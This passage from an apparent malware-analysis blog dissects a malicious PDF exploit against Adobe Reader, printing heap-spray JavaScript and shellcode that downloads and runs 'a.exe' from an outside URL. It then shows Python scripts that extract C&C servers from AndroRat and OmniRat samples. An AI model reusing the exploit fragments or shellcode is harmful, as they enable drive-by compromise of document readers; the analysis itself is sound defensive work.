            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            //0xc0
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0xCCCCCCCC);
            pointer_slide += util.packs("VirtualProtect"); //@0xCC
            pointer_slide += "\u0000";
            pointer_slide += "KERNEL32";
            pointer_slide += "\u0000";
            pointer_slide += shellcode;


            while (pointer_slide.length < 0x1000/2)
               pointer_slide += util.pack(0x41414141);
            pointer_slide = pointer_slide.substring(0,0x1000/2);
            while (pointer_slide.length < 0x100000/2)
               pointer_slide += pointer_slide;
            for (i=0; i < 100; i+=1)
               spray.pointers[i] = pointer_slide.substring(16, 0x100000/2-16-2)+ util.pack(i) + "";

if(verA > 9) xfa.host.messageBox("Page not found !", "Adobe Acrobat", 3, 1);


var   pdfDoc = event.target;
pdfDoc.closeDoc(true);

The first part contains the information needed to construct ROP for the various versions of Adobe Reader. In the last part we can see that the JavaScript code sprays the heap. So probably they rely on a huge image embedded in the XDP (which is actually the reason why the XDP is so big) to trigger the exploit.

<field name="ImageCrash">
            <ui> <imageEdit/> </ui>
            <value>
               <image>Qk3AAAAAAAAAAAAAAABAAAAALAEAAAEAAAABAAgAAQAAAAAAAAAAAAAAA...

The field name is aptly named “ImageCrash”.

Let’s go back to the shellcode part and let’s analyze that. I’m talking about the part of code which starts with:

var shellcode = "\u9090\u9090\u9090\u9090\u9090\u9090...

We could of course copy that part of a text view, remove the \u, then convert to bytes and then apply a filter to reorder them, as in JavaScript the words are in big-endian. But we can do it even more elegantly and make our shellcode appears as an embedded file. So let’s select the byte array from the hex editor:

Let’s now press Ctrl+E and click on the “Filters” button.

What we want to do is to first remove the “\u” escape. So we add the filter misc/replace and specify “\u” as in and nothing as out (we leave ascii mode as default). Now we have stripped the data from the escape characters. Now we need to convert it from ascii hex to bytes. So we add the convert/from_hex filter. The last step, as already mentioned, is that we need to switch the byte order in the words. To do that, we’ll use the lua/custom filter. I only modified slightly the default script:

function run(filter)
    local c = filter:container()
    local size = c:size()
    local offset = 0
    local bsize = 16384
    while size ~= 0 do
        if bsize > size then bsize = size end
        local block = c:read(offset, bsize)
        local boffs = 0
        while boffs < bsize do
            local e = block:readU8(boffs)
            local f = block:readU8(boffs + 1)
            block:writeU8(boffs, f)
            block:writeU8(boffs + 1, e)
            boffs = boffs + 2
        end
        c:write(offset, block)
        offset = offset + bsize
        size = size - bsize
    end
    return Base.FilterErr_None
end

If you want to avoid this part, you can simply import the filters I created:

<flts><f name='misc/replace' in='5c75' out=''/><f name='convert/from_hex'/><f name='lua/custom' script='ZnVuY3Rpb24gcnVuKGZpbHRlcikKICAgIGxvY2FsIGMgPSBmaWx0ZXI6Y29udGFpbmVyKCkKICAgIGxvY2FsIHNpemUgPSBjOnNpemUoKQogICAgbG9jYWwgb2Zmc2V0ID0gMAogICAgbG9jYWwgYnNpemUgPSAxNjM4NAogICAgd2hpbGUgc2l6ZSB+PSAwIGRvCiAgICAgICAgaWYgYnNpemUgPiBzaXplIHRoZW4gYnNpemUgPSBzaXplIGVuZAogICAgICAgIGxvY2FsIGJsb2NrID0gYzpyZWFkKG9mZnNldCwgYnNpemUpCiAgICAgICAgbG9jYWwgYm9mZnMgPSAwCiAgICAgICAgd2hpbGUgYm9mZnMgPCBic2l6ZSBkbwogICAgICAgICAgICBsb2NhbCBlID0gYmxvY2s6cmVhZFU4KGJvZmZzKQogICAgICAgICAgICBsb2NhbCBmID0gYmxvY2s6cmVhZFU4KGJvZmZzICsgMSkKICAgICAgICAgICAgYmxvY2s6d3JpdGVVOChib2ZmcywgZikKICAgICAgICAgICAgYmxvY2s6d3JpdGVVOChib2ZmcyArIDEsIGUpCiAgICAgICAgICAgIGJvZmZzID0gYm9mZnMgKyAyCiAgICAgICAgZW5kCiAgICAgICAgYzp3cml0ZShvZmZzZXQsIGJsb2NrKQogICAgICAgIG9mZnNldCA9IG9mZnNldCArIGJzaXplCiAgICAgICAgc2l6ZSA9IHNpemUgLSBic2l6ZQogICAgZW5kCiAgICByZXR1cm4gQmFzZS5GaWx0ZXJFcnJfTm9uZQplbmQ='/></flts>

By opening the embedded shellcode file, Profiler will have automatically detected the shellcode:

By looking at the hex-view we can already guess where the shellcode is going to download its payload to execute from:

Offset     0  1  2  3  4  5  6  7    8  9  A  B  C  D  E  F     Ascii   

00000000  90 90 90 90 90 90 90 90   90 90 90 90 90 90 90 90     ................
00000010  90 90 90 90 90 90 90 90   90 90 90 90 90 90 90 90     ................
00000020  EB 77 31 C9 64 8B 71 30   8B 76 0C 8B 76 1C 8B 5E     .w1.d.q0.v..v..^
00000030  08 8B 7E 20 8B 36 66 39   4F 18 75 F2 C3 60 8B 6C     ..~..6f9O.u..`.l
00000040  24 24 8B 45 3C 8B 54 05   78 01 EA 8B 4A 18 8B 5A     $$.E<.T.x...J..Z
00000050  20 01 EB E3 34 49 8B 34   8B 01 EE 31 FF 31 C0 FC     ....4I.4...1.1..
00000060  AC 84 C0 74 07 C1 CF 0D   01 C7 EB F4 3B 7C 24 28     ...t........;|$(
00000070  75 E1 8B 5A 24 01 EB 66   8B 0C 4B 8B 5A 1C 01 EB     u..Z$..f..K.Z...
00000080  8B 04 8B 01 E8 89 44 24   1C 61 C3 E8 92 FF FF FF     ......D$.a......
00000090  5F 81 EF 98 FF FF FF EB   05 E8 ED FF FF FF 68 8E     _.............h.
000000A0  4E 0E EC 53 E8 94 FF FF   FF 31 C9 66 B9 6F 6E 51     N..S.....1.f.onQ
000000B0  68 75 72 6C 6D 54 FF D0   68 36 1A 2F 70 50 E8 7A     hurlmT..h6./pP.z
000000C0  FF FF FF 31 C9 51 51 8D   37 81 C6 EE FF FF FF 8D     ...1.QQ.7.......
000000D0  56 0C 52 57 51 FF D0 68   98 FE 8A 0E 53 E8 5B FF     V.RWQ..h....S.[.
000000E0  FF FF 41 51 56 FF D0 68   7E D8 E2 73 53 E8 4B FF     ..AQV..h~..sS.K.
000000F0  FF FF FF D0 63 6D 64 2E   65 78 65 20 2F 63 20 20     ....cmd.exe./c..
00000100  61 2E 65 78 65 00 68 74   74 70 3A 2F 2F 67 65 2E     a.exe.http://ge.
00000110  74 74 2F 32 72 34 53 66   39 63 32 00 90 90 90 90     tt/2r4Sf9c2.....
00000120  90 90 90 90 90 90                                     ......

But let's analyze it anyway. Let's press Ctrl+A and then Ctrl+R. Let's execute the action "Debug->Shellcode to executable" to debug the shellcode with a debugger like OllyDbg.

Here's the (very simple) analysis:

; Platform: x86

0000001C:  nop 
0000001D:  nop 
0000001E:  nop 
0000001F:  nop 
00000020:  jmp 0x99

; Kernel32 from PEB function
00000022:  xor ecx, ecx
00000024:  mov esi, dword ptr fs:[ecx + 0x30]
00000028:  mov esi, dword ptr [esi + 0xc]
0000002B:  mov esi, dword ptr [esi + 0x1c]
0000002E:  mov ebx, dword ptr [esi + 8]
00000031:  mov edi, dword ptr [esi + 0x20]
00000034:  mov esi, dword ptr [esi]
00000036:  cmp word ptr [edi + 0x18], cx
0000003A:  jne 0x2e
0000003C:  ret 

; GetProcAddress function
0000003D:  pushal 
0000003E:  mov ebp, dword ptr [esp + 0x24]
00000042:  mov eax, dword ptr [ebp + 0x3c]
00000045:  mov edx, dword ptr [ebp + eax + 0x78]
00000049:  add edx, ebp
0000004B:  mov ecx, dword ptr [edx + 0x18]
0000004E:  mov ebx, dword ptr [edx + 0x20]
00000051:  add ebx, ebp
00000053:  jecxz 0x89
00000055:  dec ecx
00000056:  mov esi, dword ptr [ebx + ecx*4]
00000059:  add esi, ebp
0000005B:  xor edi, edi
0000005D:  xor eax, eax
0000005F:  cld 
00000060:  lodsb al, byte ptr [esi]
00000061:  test al, al
00000063:  je 0x6c
00000065:  ror edi, 0xd
00000068:  add edi, eax
0000006A:  jmp 0x60
0000006C:  cmp edi, dword ptr [esp + 0x28]
00000070:  jne 0x53
00000072:  mov ebx, dword ptr [edx + 0x24]
00000075:  add ebx, ebp
00000077:  mov cx, word ptr [ebx + ecx*2]
0000007B:  mov ebx, dword ptr [edx + 0x1c]
0000007E:  add ebx, ebp
00000080:  mov eax, dword ptr [ebx + ecx*4]
00000083:  add eax, ebp
00000085:  mov dword ptr [esp + 0x1c], eax
00000089:  popal 
0000008A:  ret 

; find Kernel32 from PEB
0000008B:  call 0x22

; make edi point do the data part
00000090:  pop edi
00000091:  sub edi, 0xffffff98 
00000097:  jmp 0x9e

00000099:  call 0x8b

; resolve LoadLibraryA
0000009E:  push 0xec0e4e8e
000000A3:  push ebx
000000A4:  call 0x3d

; load urlmon
000000A9:  xor ecx, ecx
000000AB:  mov cx, 0x6e6f
000000AF:  push ecx
000000B0:  push 0x6d6c7275
000000B5:  push esp
000000B6:  call eax

; resolve URLDownloadToFileA
000000B8:  push 0x702f1a36
000000BD:  push eax
000000BE:  call 0x3d

; download file from "hxxp://ge.tt/2r4Sf9c2" and save it as "a.exe"
000000C3:  xor ecx, ecx
000000C5:  push ecx
000000C6:  push ecx
000000C7:  lea esi, dword ptr [edi]
000000C9:  add esi, 0xffffffee
000000CF:  lea edx, dword ptr [esi + 0xc]
000000D2:  push edx
000000D3:  push edi
000000D4:  push ecx
000000D5:  call eax

; resolve WinExec
000000D7:  push 0xe8afe98
000000DC:  push ebx
000000DD:  call 0x3d

; call WinExec on "a.exe"
000000E2:  inc ecx
000000E3:  push ecx
000000E4:  push esi
000000E5:  call eax

; resolve ExitProcess
000000E7:  push 0x73e2d87e
000000EC:  push ebx
000000ED:  call 0x3d

; call ExitProcess
000000F2:  call eax

You can also download the Profiler project with the complete analysis already performed (same password: infected29A). Please notice, you'll be prompted twice for the password: once for the project and once for the Zip archive.

I hope you enjoyed the read!

Extracting C&C from Android Malware

Even though AndroRat (http://www.symantec.com/connect/blogs/remote-access-tool-takes-aim-android-apk-binder) had been around for eons and the source code was made available (https://github.com/DesignativeDave/androrat) but there are many new ones popping out everyday.

Today I will go through with you on how we can make Profiler work extra hard for us. I will try to fill in required information about where to look out for information and how decode some of the information.

[ 1st Sample used in the analysis ]

MD5: 8BF31084E55D3A83FE6C382986F95C1C
SHA256: DC9A0322CA263D733F91182F1E655A11CBA28DC766031CE0665B6005900450D7

[ Part 1 : Getting Started ]

For those who want to follow along, this is a link to the .apk file. Do note, this is a MALICIOUS file, so please do the analysis in a “safe” environment. The password to the attachment is “infected29A”

Now, let’s start getting our hands dirty…and open the suspicious .apk file. Firstly, we are going to go through the source code and find out what is the important information that we can extract out.

One of the things that malware analyst are interested in is the “Command & Control” of the malware.

As the source code of the malware was made public, we can see where the IP address for the C&C is stored in my/app/client/ProcessCommand.java as shown in the image below.

As Profiler provides SDK for us to analyse DEX and extract relevant Dalvik code, we will be making use of that today by creating “Actions”. In order to make an action out of it, go to “Extensions” in the main window, then select the Actions tab and click on “Open user plugin directory” as shown below.

[ Scripting the C&C Extraction ]

Create the following file, “androrat.py” in there. The code for “androrat.py” is shown below:

from Pro.Core import *
from Pro.DEX import *
import re, binascii, base64

def AndroRatExtraction():
    obj = proCoreContext().currentScanProvider().getObject()
    if obj.GetObjectFormatName() != "DEX":
      return -1
    cc = obj.Classes().Count()
    for i in range(cc):
        if "Lmy/app/client/ProcessCommand;" in obj.ClassIndexToString(i, False):
            cd = ClassData()
            if obj.GetClassData(i, cd):
                it = cd.direct_methods.iterator()
                while it.hasNext():
                    md = it.next()
                    out = NTTextBuffer()
                    obj.Disassemble(out, i)
                    m = re.findall("const-string\s+[a-zA-Z0-9,]+\s+[\"](.*?)[\"]", out.buffer)
                    m1 = re.findall("const/16\s+[a-zA-Z0-9,]+\s+.int\s(.*?)\s//", out.buffer)
                    c2 = m[16]
                    port = m1[1]
                    server = "C&C: {0}:{1}".format(c2, str(port))
                    print(server)
                    break

Next, click on “Open user configuration file” and paste the following:

[AndroRatExtraction]
category = DEX
label = AndroRat extraction
file = androrat.py
context = any

Save the file, close it. Then click on “Refresh extensions“. You should already see your action among the list.

Now, if you open the .apk file, “double-click” on “classes.dex” and then press “Ctrl+R” you should see your action under the DEX category at the top.

As we can see from the image below after executing the action, you will get the C&C address and port number at the “output” tab as shown below.

The C&C is “http://shoppingapp[.]no-ip[.]biz” and the port number is “81”.

The purpose of this post is to give a better technical understanding of how easy it is to script in Profiler and how malware analysts can easily retrieve important information using static analysis.

The SDK in Profiler gives users the possibility to inspect the code in Dalvik and to extract other important information.

Just by looking at code snippet we showed you, it’s extremely easy for everyone to expand on it and write new utilities.

[ 2nd Sample used in the analysis ]

MD5: 30C385C2928408126F7553134585286E
SHA256: 9E1BEE43A501132DA732D1287126632438B91A9FCBF37AFDA7B8597055960877

The 2nd sample that we will be looking at is OmniRat. The detection rate for OmniRat is just moderate, 20/54 in VT.

The actual piece of malicious code is actually Base64 encoded and hidden away in the resources.asrc file as you can see in the image below

From the image below, we could extract the APK and even inspect it on the fly.
So select the the Base64 encoded string in the resources.asrc file and then press Ctrl+E and click on the filters button on the bottom right.

Now let’s add in 2 filters:
1.) basic/replace in Bytes mode (in: 00 out:) to remove all null bytes
2.) then from_base64 filter.

Now let’s just give it embedded.apk as the filename and add the file as embedded and inspect it.

We can re-apply what we did with the 1st sample using the script which I’ve attached here.

from Pro.Core import *
from Pro.DEX import *
import re, binascii, base64

def OmniRatExtraction():
    obj = proCoreContext().currentScanProvider().getObject()
    if obj.GetObjectFormatName() != "DEX":
      return -1
    cc = obj.Classes().Count()
    for i in range(cc):
        if "Lcom/android/engine/MyService;" in obj.ClassIndexToString(i, False):
            cd = ClassData()
            if obj.GetClassData(i, cd):
                it = cd.direct_methods.iterator()
                while it.hasNext():
                    md = it.next()
                    out = NTTextBuffer()
                    obj.Disassemble(out, i)
                    m = re.findall("const-string\s+[a-zA-Z0-9,]+\s+[\"](.*?)[\"]", out.buffer)
                    m1 = re.findall("const/16\s+[a-zA-Z0-9,]+\s+.int\s(.*?)\s//", out.buffer)
                    c2 = m[0]
                    port = m1[0]
                    server = "C&C: {0}:{1}".format(c2, str(port))
                    print(server)
                    break

As shown in the image below, the C&C is “strippermona2[.]no-ip[.]info:200”.

We hope you enjoyed reading this and would be happy to receive your feedback!